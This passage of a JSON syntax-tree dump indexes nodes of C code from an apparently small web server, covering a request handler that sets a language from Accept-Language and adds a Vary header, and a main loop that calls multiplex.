"parent": 449, "children": [452], "start_point": {"row": 138, "column": 17}, "end_point": {"row": 138, "column": 21}}, {"id": 452, "type": "identifier", "text": "a2", "parent": 451, "children": [], "start_point": {"row": 138, "column": 18}, "end_point": {"row": 138, "column": 20}}, {"id": 453, "type": "if_statement", "text": "if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }", "parent": 433, "children": [454, 548], "start_point": {"row": 140, "column": 8}, "end_point": {"row": 166, "column": 9}}, {"id": 454, "type": "parenthesized_expression", "text": "(truep (equalp (a3, sym_get)))", "parent": 453, "children": [455], "start_point": {"row": 140, "column": 11}, "end_point": {"row": 140, "column": 41}}, {"id": 455, "type": "call_expression", "text": "truep (equalp (a3, sym_get))", "parent": 454, "children": [456, 457], "start_point": {"row": 140, "column": 12}, "end_point": {"row": 140, "column": 40}}, {"id": 456, "type": "identifier", "text": "truep", "parent": 455, "children": [], "start_point": {"row": 140, "column": 12}, "end_point": {"row": 140, "column": 17}}, {"id": 457, "type": "argument_list", "text": "(equalp (a3, sym_get))", "parent": 455, "children": [458], "start_point": {"row": 140, "column": 18}, "end_point": {"row": 140, "column": 40}}, {"id": 458, "type": "call_expression", "text": "equalp (a3, sym_get)", "parent": 457, "children": [459, 460], "start_point": {"row": 140, "column": 19}, "end_point": {"row": 140, "column": 39}}, {"id": 459, "type": "identifier", "text": "equalp", "parent": 458, "children": [], "start_point": {"row": 140, "column": 19}, "end_point": {"row": 140, "column": 25}}, {"id": 460, "type": "argument_list", "text": "(a3, sym_get)", "parent": 458, "children": [461, 462], "start_point": {"row": 140, "column": 26}, "end_point": {"row": 140, "column": 39}}, {"id": 461, "type": "identifier", "text": "a3", "parent": 460, "children": [], "start_point": {"row": 140, "column": 27}, "end_point": {"row": 140, "column": 29}}, {"id": 462, "type": "identifier", "text": "sym_get", "parent": 460, "children": [], "start_point": {"row": 140, "column": 31}, "end_point": {"row": 140, "column": 38}}, {"id": 463, "type": "declaration", "text": "sexpr t1 = cdr (a2), e = car (t1);", "parent": 453, "children": [464, 465, 472], "start_point": {"row": 142, "column": 12}, "end_point": {"row": 142, "column": 46}}, {"id": 464, "type": "type_identifier", "text": "sexpr", "parent": 463, "children": [], "start_point": {"row": 142, "column": 12}, "end_point": {"row": 142, "column": 17}}, {"id": 465, "type": "init_declarator", "text": "t1 = cdr (a2)", "parent": 463, "children": [466, 467, 468], "start_point": {"row": 142, "column": 18}, "end_point": {"row": 142, "column": 31}}, {"id": 466, "type": "identifier", "text": "t1", "parent": 465, "children": [], "start_point": {"row": 142, "column": 18}, "end_point": {"row": 142, "column": 20}}, {"id": 467, "type": "=", "text": "=", "parent": 465, "children": [], "start_point": {"row": 142, "column": 21}, "end_point": {"row": 142, "column": 22}}, {"id": 468, "type": "call_expression", "text": "cdr (a2)", "parent": 465, "children": [469, 470], "start_point": {"row": 142, "column": 23}, "end_point": {"row": 142, "column": 31}}, {"id": 469, "type": "identifier", "text": "cdr", "parent": 468, "children": [], "start_point": {"row": 142, "column": 23}, "end_point": {"row": 142, "column": 26}}, {"id": 470, "type": "argument_list", "text": "(a2)", "parent": 468, "children": [471], "start_point": {"row": 142, "column": 27}, "end_point": {"row": 142, "column": 31}}, {"id": 471, "type": "identifier", "text": "a2", "parent": 470, "children": [], "start_point": {"row": 142, "column": 28}, "end_point": {"row": 142, "column": 30}}, {"id": 472, "type": "init_declarator", "text": "e = car (t1)", "parent": 463, "children": [473, 474, 475], "start_point": {"row": 142, "column": 33}, "end_point": {"row": 142, "column": 45}}, {"id": 473, "type": "identifier", "text": "e", "parent": 472, "children": [], "start_point": {"row": 142, "column": 33}, "end_point": {"row": 142, "column": 34}}, {"id": 474, "type": "=", "text": "=", "parent": 472, "children": [], "start_point": {"row": 142, "column": 35}, "end_point": {"row": 142, "column": 36}}, {"id": 475, "type": "call_expression", "text": "car (t1)", "parent": 472, "children": [476, 477], "start_point": {"row": 142, "column": 37}, "end_point": {"row": 142, "column": 45}}, {"id": 476, "type": "identifier", "text": "car", "parent": 475, "children": [], "start_point": {"row": 142, "column": 37}, "end_point": {"row": 142, "column": 40}}, {"id": 477, "type": "argument_list", "text": "(t1)", "parent": 475, "children": [478], "start_point": {"row": 142, "column": 41}, "end_point": {"row": 142, "column": 45}}, {"id": 478, "type": "identifier", "text": "t1", "parent": 477, "children": [], "start_point": {"row": 142, "column": 42}, "end_point": {"row": 142, "column": 44}}, {"id": 479, "type": "if_statement", "text": "if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }", "parent": 453, "children": [480, 501], "start_point": {"row": 144, "column": 12}, "end_point": {"row": 157, "column": 13}}, {"id": 480, "type": "parenthesized_expression", "text": "(environmentp (e))", "parent": 479, "children": [481], "start_point": {"row": 144, "column": 15}, "end_point": {"row": 144, "column": 33}}, {"id": 481, "type": "call_expression", "text": "environmentp (e)", "parent": 480, "children": [482, 483], "start_point": {"row": 144, "column": 16}, "end_point": {"row": 144, "column": 32}}, {"id": 482, "type": "identifier", "text": "environmentp", "parent": 481, "children": [], "start_point": {"row": 144, "column": 16}, "end_point": {"row": 144, "column": 28}}, {"id": 483, "type": "argument_list", "text": "(e)", "parent": 481, "children": [484], "start_point": {"row": 144, "column": 29}, "end_point": {"row": 144, "column": 32}}, {"id": 484, "type": "identifier", "text": "e", "parent": 483, "children": [], "start_point": {"row": 144, "column": 30}, "end_point": {"row": 144, "column": 31}}, {"id": 485, "type": "assignment_expression", "text": "e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)))", "parent": 479, "children": [486, 487, 488], "start_point": {"row": 146, "column": 16}, "end_point": {"row": 149, "column": 74}}, {"id": 486, "type": "identifier", "text": "e", "parent": 485, "children": [], "start_point": {"row": 146, "column": 16}, "end_point": {"row": 146, "column": 17}}, {"id": 487, "type": "=", "text": "=", "parent": 485, "children": [], "start_point": {"row": 146, "column": 18}, "end_point": {"row": 146, "column": 19}}, {"id": 488, "type": "call_expression", "text": "lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)))", "parent": 485, "children": [489, 490], "start_point": {"row": 146, "column": 20}, "end_point": {"row": 149, "column": 74}}, {"id": 489, "type": "identifier", "text": "lx_environment_bind", "parent": 488, "children": [], "start_point": {"row": 146, "column": 20}, "end_point": {"row": 146, "column": 39}}, {"id": 490, "type": "argument_list", "text": "(e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)))", "parent": 488, "children": [491, 492, 493], "start_point": {"row": 147, "column": 20}, "end_point": {"row": 149, "column": 74}}, {"id": 491, "type": "identifier", "text": "e", "parent": 490, "children": [], "start_point": {"row": 147, "column": 21}, "end_point": {"row": 147, "column": 22}}, {"id": 492, "type": "identifier", "text": "sym_language", "parent": 490, "children": [], "start_point": {"row": 147, "column": 24}, "end_point": {"row": 147, "column": 36}}, {"id": 493, "type": "call_expression", "text": "get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language))", "parent": 490, "children": [494, 495], "start_point": {"row": 148, "column": 21}, "end_point": {"row": 149, "column": 73}}, {"id": 494, "type": "identifier", "text": "get_acceptable_languages", "parent": 493, "children": [], "start_point": {"row": 148, "column": 21}, "end_point": {"row": 148, "column": 45}}, {"id": 495, "type": "argument_list", "text": "(lx_environment_lookup (e, sym_accept_language))", "parent": 493, "children": [496], "start_point": {"row": 149, "column": 25}, "end_point": {"row": 149, "column": 73}}, {"id": 496, "type": "call_expression", "text": "lx_environment_lookup (e, sym_accept_language)", "parent": 495, "children": [497, 498], "start_point": {"row": 149, "column": 26}, "end_point": {"row": 149, "column": 72}}, {"id": 497, "type": "identifier", "text": "lx_environment_lookup", "parent": 496, "children": [], "start_point": {"row": 149, "column": 26}, "end_point": {"row": 149, "column": 47}}, {"id": 498, "type": "argument_list", "text": "(e, sym_accept_language)", "parent": 496, "children": [499, 500], "start_point": {"row": 149, "column": 48}, "end_point": {"row": 149, "column": 72}}, {"id": 499, "type": "identifier", "text": "e", "parent": 498, "children": [], "start_point": {"row": 149, "column": 49}, "end_point": {"row": 149, "column": 50}}, {"id": 500, "type": "identifier", "text": "sym_accept_language", "parent": 498, "children": [], "start_point": {"row": 149, "column": 52}, "end_point": {"row": 149, "column": 71}}, {"id": 501, "type": "else_clause", "text": "else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }", "parent": 479, "children": [], "start_point": {"row": 151, "column": 12}, "end_point": {"row": 157, "column": 13}}, {"id": 502, "type": "assignment_expression", "text": "e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list))", "parent": 501, "children": [503, 504, 505], "start_point": {"row": 153, "column": 16}, "end_point": {"row": 156, "column": 37}}, {"id": 503, "type": "identifier", "text": "e", "parent": 502, "children": [], "start_point": {"row": 153, "column": 16}, "end_point": {"row": 153, "column": 17}}, {"id": 504, "type": "=", "text": "=", "parent": 502, "children": [], "start_point": {"row": 153, "column": 18}, "end_point": {"row": 153, "column": 19}}, {"id": 505, "type": "call_expression", "text": "lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list))", "parent": 502, "children": [506, 507], "start_point": {"row": 153, "column": 20}, "end_point": {"row": 156, "column": 37}}, {"id": 506, "type": "identifier", "text": "lx_make_environment", "parent": 505, "children": [], "start_point": {"row": 153, "column": 20}, "end_point": {"row": 153, "column": 39}}, {"id": 507, "type": "argument_list", "text": "(cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list))", "parent": 505, "children": [508], "start_point": {"row": 154, "column": 20}, "end_point": {"row": 156, "column": 37}}, {"id": 508, "type": "call_expression", "text": "cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list)", "parent": 507, "children": [509, 510], "start_point": {"row": 154, "column": 21}, "end_point": {"row": 156, "column": 36}}, {"id": 509, "type": "identifier", "text": "cons", "parent": 508, "children": [], "start_point": {"row": 154, "column": 21}, "end_point": {"row": 154, "column": 25}}, {"id": 510, "type": "argument_list", "text": "(cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list)", "parent": 508, "children": [511, 519], "start_point": {"row": 154, "column": 26}, "end_point": {"row": 156, "column": 36}}, {"id": 511, "type": "call_expression", "text": "cons (sym_language,\n get_acceptable_languages (sx_nonexistent))", "parent": 510, "children": [512, 513], "start_point": {"row": 154, "column": 27}, "end_point": {"row": 155, "column": 75}}, {"id": 512, "type": "identifier", "text": "cons", "parent": 511, "children": [], "start_point": {"row": 154, "column": 27}, "end_point": {"row": 154, "column": 31}}, {"id": 513, "type": "argument_list", "text": "(sym_language,\n get_acceptable_languages (sx_nonexistent))", "parent": 511, "children": [514, 515], "start_point": {"row": 154, "column": 32}, "end_point": {"row": 155, "column": 75}}, {"id": 514, "type": "identifier", "text": "sym_language", "parent": 513, "children": [], "start_point": {"row": 154, "column": 33}, "end_point": {"row": 154, "column": 45}}, {"id": 515, "type": "call_expression", "text": "get_acceptable_languages (sx_nonexistent)", "parent": 513, "children": [516, 517], "start_point": {"row": 155, "column": 33}, "end_point": {"row": 155, "column": 74}}, {"id": 516, "type": "identifier", "text": "get_acceptable_languages", "parent": 515, "children": [], "start_point": {"row": 155, "column": 33}, "end_point": {"row": 155, "column": 57}}, {"id": 517, "type": "argument_list", "text": "(sx_nonexistent)", "parent": 515, "children": [518], "start_point": {"row": 155, "column": 58}, "end_point": {"row": 155, "column": 74}}, {"id": 518, "type": "identifier", "text": "sx_nonexistent", "parent": 517, "children": [], "start_point": {"row": 155, "column": 59}, "end_point": {"row": 155, "column": 73}}, {"id": 519, "type": "identifier", "text": "sx_end_of_list", "parent": 510, "children": [], "start_point": {"row": 156, "column": 21}, "end_point": {"row": 156, "column": 35}}, {"id": 520, "type": "assignment_expression", "text": "e = lx_environment_bind (e, sym_Vary, str_Accept_Language)", "parent": 453, "children": [521, 522, 523], "start_point": {"row": 159, "column": 12}, "end_point": {"row": 159, "column": 70}}, {"id": 521, "type": "identifier", "text": "e", "parent": 520, "children": [], "start_point": {"row": 159, "column": 12}, "end_point": {"row": 159, "column": 13}}, {"id": 522, "type": "=", "text": "=", "parent": 520, "children": [], "start_point": {"row": 159, "column": 14}, "end_point": {"row": 159, "column": 15}}, {"id": 523, "type": "call_expression", "text": "lx_environment_bind (e, sym_Vary, str_Accept_Language)", "parent": 520, "children": [524, 525], "start_point": {"row": 159, "column": 16}, "end_point": {"row": 159, "column": 70}}, {"id": 524, "type": "identifier", "text": "lx_environment_bind", "parent": 523, "children": [], "start_point": {"row": 159, "column": 16}, "end_point": {"row": 159, "column": 35}}, {"id": 525, "type": "argument_list", "text": "(e, sym_Vary, str_Accept_Language)", "parent": 523, "children": [526, 527, 528], "start_point": {"row": 159, "column": 36}, "end_point": {"row": 159, "column": 70}}, {"id": 526, "type": "identifier", "text": "e", "parent": 525, "children": [], "start_point": {"row": 159, "column": 37}, "end_point": {"row": 159, "column": 38}}, {"id": 527, "type": "identifier", "text": "sym_Vary", "parent": 525, "children": [], "start_point": {"row": 159, "column": 40}, "end_point": {"row": 159, "column": 48}}, {"id": 528, "type": "identifier", "text": "str_Accept_Language", "parent": 525, "children": [], "start_point": {"row": 159, "column": 50}, "end_point": {"row": 159, "column": 69}}, {"id": 529, "type": "assignment_expression", "text": "r = cons (cons (sym_get, cons (e, cdr (t1))), r)", "parent": 453, "children": [530, 531, 532], "start_point": {"row": 161, "column": 12}, "end_point": {"row": 161, "column": 60}}, {"id": 530, "type": "identifier", "text": "r", "parent": 529, "children": [], "start_point": {"row": 161, "column": 12}, "end_point": {"row": 161, "column": 13}}, {"id": 531, "type": "=", "text": "=", "parent": 529, "children": [], "start_point": {"row": 161, "column": 14}, "end_point": {"row": 161, "column": 15}}, {"id": 532, "type": "call_expression", "text": "cons (cons (sym_get, cons (e, cdr (t1))), r)", "parent": 529, "children": [533, 534], "start_point": {"row": 161, "column": 16}, "end_point": {"row": 161, "column": 60}}, {"id": 533, "type": "identifier", "text": "cons", "parent": 532, "children": [], "start_point": {"row": 161, "column": 16}, "end_point": {"row": 161, "column": 20}}, {"id": 534, "type": "argument_list", "text": "(cons (sym_get, cons (e, cdr (t1))), r)", "parent": 532, "children": [535, 547], "start_point": {"row": 161, "column": 21}, "end_point": {"row": 161, "column": 60}}, {"id": 535, "type": "call_expression", "text": "cons (sym_get, cons (e, cdr (t1)))", "parent": 534, "children": [536, 537], "start_point": {"row": 161, "column": 22}, "end_point": {"row": 161, "column": 56}}, {"id": 536, "type": "identifier", "text": "cons", "parent": 535, "children": [], "start_point": {"row": 161, "column": 22}, "end_point": {"row": 161, "column": 26}}, {"id": 537, "type": "argument_list", "text": "(sym_get, cons (e, cdr (t1)))", "parent": 535, "children": [538, 539], "start_point": {"row": 161, "column": 27}, "end_point": {"row": 161, "column": 56}}, {"id": 538, "type": "identifier", "text": "sym_get", "parent": 537, "children": [], "start_point": {"row": 161, "column": 28}, "end_point": {"row": 161, "column": 35}}, {"id": 539, "type": "call_expression", "text": "cons (e, cdr (t1))", "parent": 537, "children": [540, 541], "start_point": {"row": 161, "column": 37}, "end_point": {"row": 161, "column": 55}}, {"id": 540, "type": "identifier", "text": "cons", "parent": 539, "children": [], "start_point": {"row": 161, "column": 37}, "end_point": {"row": 161, "column": 41}}, {"id": 541, "type": "argument_list", "text": "(e, cdr (t1))", "parent": 539, "children": [542, 543], "start_point": {"row": 161, "column": 42}, "end_point": {"row": 161, "column": 55}}, {"id": 542, "type": "identifier", "text": "e", "parent": 541, "children": [], "start_point": {"row": 161, "column": 43}, "end_point": {"row": 161, "column": 44}}, {"id": 543, "type": "call_expression", "text": "cdr (t1)", "parent": 541, "children": [544, 545], "start_point": {"row": 161, "column": 46}, "end_point": {"row": 161, "column": 54}}, {"id": 544, "type": "identifier", "text": "cdr", "parent": 543, "children": [], "start_point": {"row": 161, "column": 46}, "end_point": {"row": 161, "column": 49}}, {"id": 545, "type": "argument_list", "text": "(t1)", "parent": 543, "children": [546], "start_point": {"row": 161, "column": 50}, "end_point": {"row": 161, "column": 54}}, {"id": 546, "type": "identifier", "text": "t1", "parent": 545, "children": [], "start_point": {"row": 161, "column": 51}, "end_point": {"row": 161, "column": 53}}, {"id": 547, "type": "identifier", "text": "r", "parent": 534, "children": [], "start_point": {"row": 161, "column": 58}, "end_point": {"row": 161, "column": 59}}, {"id": 548, "type": "else_clause", "text": "else\n {\n r = cons (a2, r);\n }", "parent": 453, "children": [], "start_point": {"row": 163, "column": 8}, "end_point": {"row": 166, "column": 9}}, {"id": 549, "type": "assignment_expression", "text": "r = cons (a2, r)", "parent": 548, "children": [550, 551, 552], "start_point": {"row": 165, "column": 12}, "end_point": {"row": 165, "column": 28}}, {"id": 550, "type": "identifier", "text": "r", "parent": 549, "children": [], "start_point": {"row": 165, "column": 12}, "end_point": {"row": 165, "column": 13}}, {"id": 551, "type": "=", "text": "=", "parent": 549, "children": [], "start_point": {"row": 165, "column": 14}, "end_point": {"row": 165, "column": 15}}, {"id": 552, "type": "call_expression", "text": "cons (a2, r)", "parent": 549, "children": [553, 554], "start_point": {"row": 165, "column": 16}, "end_point": {"row": 165, "column": 28}}, {"id": 553, "type": "identifier", "text": "cons", "parent": 552, "children": [], "start_point": {"row": 165, "column": 16}, "end_point": {"row": 165, "column": 20}}, {"id": 554, "type": "argument_list", "text": "(a2, r)", "parent": 552, "children": [555, 556], "start_point": {"row": 165, "column": 21}, "end_point": {"row": 165, "column": 28}}, {"id": 555, "type": "identifier", "text": "a2", "parent": 554, "children": [], "start_point": {"row": 165, "column": 22}, "end_point": {"row": 165, "column": 24}}, {"id": 556, "type": "identifier", "text": "r", "parent": 554, "children": [], "start_point": {"row": 165, "column": 26}, "end_point": {"row": 165, "column": 27}}, {"id": 557, "type": "assignment_expression", "text": "a = cdr (a)", "parent": 433, "children": [558, 559, 560], "start_point": {"row": 168, "column": 8}, "end_point": {"row": 168, "column": 19}}, {"id": 558, "type": "identifier", "text": "a", "parent": 557, "children": [], "start_point": {"row": 168, "column": 8}, "end_point": {"row": 168, "column": 9}}, {"id": 559, "type": "=", "text": "=", "parent": 557, "children": [], "start_point": {"row": 168, "column": 10}, "end_point": {"row": 168, "column": 11}}, {"id": 560, "type": "call_expression", "text": "cdr (a)", "parent": 557, "children": [561, 562], "start_point": {"row": 168, "column": 12}, "end_point": {"row": 168, "column": 19}}, {"id": 561, "type": "identifier", "text": "cdr", "parent": 560, "children": [], "start_point": {"row": 168, "column": 12}, "end_point": {"row": 168, "column": 15}}, {"id": 562, "type": "argument_list", "text": "(a)", "parent": 560, "children": [563], "start_point": {"row": 168, "column": 16}, "end_point": {"row": 168, "column": 19}}, {"id": 563, "type": "identifier", "text": "a", "parent": 562, "children": [], "start_point": {"row": 168, "column": 17}, "end_point": {"row": 168, "column": 18}}, {"id": 564, "type": "call_expression", "text": "relay_sub (sx_reverse (r))", "parent": 406, "children": [565, 566], "start_point": {"row": 171, "column": 4}, "end_point": {"row": 171, "column": 30}}, {"id": 565, "type": "identifier", "text": "relay_sub", "parent": 564, "children": [], "start_point": {"row": 171, "column": 4}, "end_point": {"row": 171, "column": 13}}, {"id": 566, "type": "argument_list", "text": "(sx_reverse (r))", "parent": 564, "children": [567], "start_point": {"row": 171, "column": 14}, "end_point": {"row": 171, "column": 30}}, {"id": 567, "type": "call_expression", "text": "sx_reverse (r)", "parent": 566, "children": [568, 569], "start_point": {"row": 171, "column": 15}, "end_point": {"row": 171, "column": 29}}, {"id": 568, "type": "identifier", "text": "sx_reverse", "parent": 567, "children": [], "start_point": {"row": 171, "column": 15}, "end_point": {"row": 171, "column": 25}}, {"id": 569, "type": "argument_list", "text": "(r)", "parent": 567, "children": [570], "start_point": {"row": 171, "column": 26}, "end_point": {"row": 171, "column": 29}}, {"id": 570, "type": "identifier", "text": "r", "parent": 569, "children": [], "start_point": {"row": 171, "column": 27}, "end_point": {"row": 171, "column": 28}}, {"id": 571, "type": "return_statement", "text": "return sx_nonexistent;", "parent": 406, "children": [572], "start_point": {"row": 172, "column": 4}, "end_point": {"row": 172, "column": 26}}, {"id": 572, "type": "identifier", "text": "sx_nonexistent", "parent": 571, "children": [], "start_point": {"row": 172, "column": 11}, "end_point": {"row": 172, "column": 25}}, {"id": 573, "type": "function_definition", "text": "int cmain ()\n{\n kho_configure_callback = configure_callback;\n\n initialise_khonsu ();\n\n kho_environment = lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request));\n\n while (multiplex () != mx_nothing_to_do)\n {\n// gc_invoke();\n }\n\n return 0;\n}", "parent": null, "children": [574, 575], "start_point": {"row": 175, "column": 0}, "end_point": {"row": 190, "column": 1}}, {"id": 574, "type": "primitive_type", "text": "int", "parent": 573, "children": [], "start_point": {"row": 175, "column": 0}, "end_point": {"row": 175, "column": 3}}, {"id": 575, "type": "function_declarator", "text": "cmain ()", "parent": 573, "children": [576, 577], "start_point": {"row": 175, "column": 4}, "end_point": {"row": 175, "column": 12}}, {"id": 576, "type": "identifier", "text": "cmain", "parent": 575, "children": [], "start_point": {"row": 175, "column": 4}, "end_point": {"row": 175, "column": 9}}, {"id": 577, "type": "parameter_list", "text": "()", "parent": 575, "children": [], "start_point": {"row": 175, "column": 10}, "end_point": {"row": 175, "column": 12}}, {"id": 578, "type": "assignment_expression", "text": "kho_configure_callback = configure_callback", "parent": 573, "children": [579, 580, 581], "start_point": {"row": 177, "column": 4}, "end_point": {"row": 177, "column": 47}}, {"id": 579, "type": "identifier", "text": "kho_configure_callback", "parent": 578, "children": [], "start_point": {"row": 177, "column": 4}, "end_point": {"row": 177, "column": 26}}, {"id": 580, "type": "=", "text": "=", "parent": 578, "children": [], "start_point": {"row": 177, "column": 27}, "end_point": {"row": 177, "column": 28}}, {"id": 581, "type": "identifier", "text": "configure_callback", "parent": 578, "children": [], "start_point": {"row": 177, "column": 29}, "end_point": {"row": 177, "column": 47}}, {"id": 582, "type": "call_expression", "text": "initialise_khonsu ()", "parent": 573, "children": [583, 584], "start_point": {"row": 179, "column": 4}, "end_point": {"row": 179, "column": 24}}, {"id": 583, "type": "identifier", "text": "initialise_khonsu", "parent": 582, "children": [], "start_point": {"row": 179, "column": 4}, "end_point": {"row": 179, "column": 21}}, {"id": 584, "type": "argument_list", "text": "()", "parent": 582, "children": [], "start_point": {"row": 179, "column": 22}, "end_point": {"row": 179, "column": 24}}, {"id": 585, "type": "assignment_expression", "text": "kho_environment = lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request))", "parent": 573, "children": [586, 587, 588], "start_point": {"row": 181, "column": 4}, "end_point": {"row": 182, "column": 78}}, {"id": 586, "type": "identifier", "text": "kho_environment", "parent": 585, "children": [], "start_point": {"row": 181, "column": 4}, "end_point": {"row": 181, "column": 19}}, {"id": 587, "type": "=", "text": "=", "parent": 585, "children": [], "start_point": {"row": 181, "column": 20}, "end_point": {"row": 181, "column": 21}}, {"id": 588, "type": "call_expression", "text": "lx_environment_bind\n (kho_environment, sym_request, lx_foreign_lambda (sym_request, request))", "parent": 585, "children": [589, 590], "start_point": {"row": 181, "column": 22}, "end_point": {"row": 182, "column": 78}}, {"id": 589, "type": "identifier", "text": "lx_environment_bind", "parent": 588, "children": [], "start_point": {"row": 181, "column": 22}, "end_point": {"row": 181, "column": 41}}, {"id": 590, "type": "argument_list", "text": "(kho_environment, sym_request, lx_foreign_lambda (sym_request, request))", "parent": 588, "children": [591, 592, 593], "start_point": {"row": 182, "column": 6}, "end_point": {"row": 182, "column": 78}}, {"id": 591, "type": "identifier", "text": "kho_environment", "parent": 590, "children": [], "start_point": {"row": 182, "column": 7}, "end_point": {"row": 182, "column": 22}}, {"id": 592, "type": "identifier", "text": "sym_request", "parent": 590, "children": [], "start_point": {"row": 182, "column": 24}, "end_point": {"row": 182, "column": 35}}, {"id": 593, "type": "call_expression", "text": "lx_foreign_lambda (sym_request, request)", "parent": 590, "children": [594, 595], "start_point": {"row": 182, "column": 37}, "end_point": {"row": 182, "column": 77}}, {"id": 594, "type": "identifier", "text": "lx_foreign_lambda", "parent": 593, "children": [], "start_point": {"row": 182, "column": 37}, "end_point": {"row": 182, "column": 54}}, {"id": 595, "type": "argument_list", "text": "(sym_request, request)", "parent": 593, "children": [596, 597], "start_point": {"row": 182, "column": 55}, "end_point": {"row": 182, "column": 77}}, {"id": 596, "type": "identifier", "text": "sym_request", "parent": 595, "children": [], "start_point": {"row": 182, "column": 56}, "end_point": {"row": 182, "column": 67}}, {"id": 597, "type": "identifier", "text": "request", "parent": 595, "children": [], "start_point": {"row": 182, "column": 69}, "end_point": {"row": 182, "column": 76}}, {"id": 598, "type": "while_statement", "text": "while (multiplex () != mx_nothing_to_do)\n {\n// gc_invoke();\n }", "parent": 573, "children": [599], "start_point": {"row": 184, "column": 4}, "end_point": {"row": 187, "column": 5}}, {"id": 599, "type": "parenthesized_expression", "text": "(multiplex () != mx_nothing_to_do)", "parent": 598, "children": [600], "start_point": {"row": 184, "column": 10}, "end_point": {"row": 184, "column": 44}}, {"id": 600, "type": "binary_expression", "text": "multiplex () != mx_nothing_to_do", "parent": 599, "children": [601, 604, 605], "start_point": {"row": 184, "column": 11}, "end_point": {"row": 184, "column": 43}}, {"id": 601, "type": "call_expression", "text": "multiplex ()", "parent": 600, "children": [602, 603], "start_point": {"row": 184, "column": 11}, "end_point": {"row": 184, "column": 23}}, {"id": 602, "type": "identifier", "text": "multiplex", "parent": 601, "children": [], "start_point": {"row": 184, "column": 11}, "end_point": {"row": 184, "column": 20}}, {"id": 603, "type": "argument_list", "text": "()", "parent": 601, "children": [], "start_point": {"row": 184, "column": 21}, "end_point": {"row": 184, "column": 23}}, {"id": 604, "type": "!=", "text": "!=", "parent": 600, "children": [], "start_point": {"row": 184, "column": 24}, "end_point": {"row": 184, "column": 26}}, {"id": 605, "type": "identifier", "text": "mx_nothing_to_do", "parent": 600, "children": [], "start_point": {"row": 184, "column": 27}, "end_point": {"row": 184, "column": 43}}, {"id": 606, "type": "return_statement", "text": "return 0;", "parent": 573, "children": [607], "start_point": {"row": 189, "column": 4}, "end_point": {"row": 189, "column": 13}}, {"id": 607, "type": "number_literal", "text": "0", "parent": 606, "children": [], "start_point": {"row": 189, "column": 11}, "end_point": {"row": 189, "column": 12}}]}, "node_categories": {"declarations": {"functions": [44, 46, 81, 83, 406, 408, 573, 575], "variables": [38, 49, 52, 86, 89, 95, 109, 120, 129, 132, 411, 414, 421, 463], "classes": [415, 416], "imports": [0, 1, 3, 4, 6, 7, 9, 10, 12, 13, 15, 16], "modules": [], "enums": []}, "statements": {"expressions": [18, 23, 28, 33, 57, 62, 63, 66, 74, 77, 102, 103, 105, 116, 143, 144, 145, 149, 154, 158, 162, 163, 166, 167, 173, 177, 181, 190, 191, 195, 199, 203, 204, 205, 206, 207, 215, 219, 220, 221, 229, 233, 240, 243, 248, 249, 250, 254, 257, 269, 275, 277, 281, 282, 283, 284, 285, 291, 292, 293, 301, 302, 303, 310, 314, 315, 316, 327, 331, 332, 333, 334, 335, 344, 345, 346, 354, 358, 359, 360, 372, 373, 380, 383, 386, 392, 393, 399, 434, 435, 442, 449, 454, 455, 458, 468, 475, 480, 481, 488, 493, 496, 505, 508, 511, 515, 523, 532, 535, 539, 543, 552, 560, 564, 567, 582, 588, 593, 599, 600, 601], "assignments": [71, 153, 176, 186, 216, 228, 237, 262, 266, 321, 367, 377, 396, 439, 446, 485, 502, 520, 529, 549, 557, 578, 585], "loops": [142, 185, 280, 330, 433, 598], "conditionals": [19, 21, 24, 26, 29, 31, 34, 36, 39, 41, 43, 47, 50, 51, 53, 55, 58, 60, 61, 64, 67, 69, 70, 72, 75, 78, 80, 82, 84, 87, 88, 90, 92, 94, 98, 101, 106, 108, 114, 117, 119, 123, 124, 126, 130, 131, 135, 139, 146, 147, 155, 156, 159, 160, 161, 164, 168, 174, 178, 179, 187, 192, 193, 200, 202, 208, 209, 217, 222, 223, 230, 231, 238, 241, 244, 246, 247, 252, 255, 258, 260, 261, 263, 267, 270, 272, 273, 274, 276, 278, 286, 287, 294, 295, 300, 304, 305, 311, 313, 317, 318, 322, 324, 328, 336, 337, 347, 348, 355, 357, 361, 362, 368, 370, 371, 374, 376, 378, 381, 384, 387, 389, 390, 391, 395, 397, 400, 402, 403, 405, 407, 409, 412, 413, 417, 420, 422, 424, 426, 428, 430, 431, 432, 436, 438, 440, 443, 445, 447, 450, 452, 453, 456, 459, 461, 462, 464, 466, 469, 471, 473, 476, 478, 479, 482, 484, 486, 489, 491, 492, 494, 497, 499, 500, 503, 506, 509, 512, 514, 516, 518, 519, 521, 524, 526, 527, 528, 530, 533, 536, 538, 540, 542, 544, 546, 547, 550, 553, 555, 556, 558, 561, 563, 565, 568, 570, 572, 576, 579, 581, 583, 586, 589, 591, 592, 594, 596, 597, 602, 605], "returns": [404, 571, 606], "exceptions": []}, "expressions": {"calls": 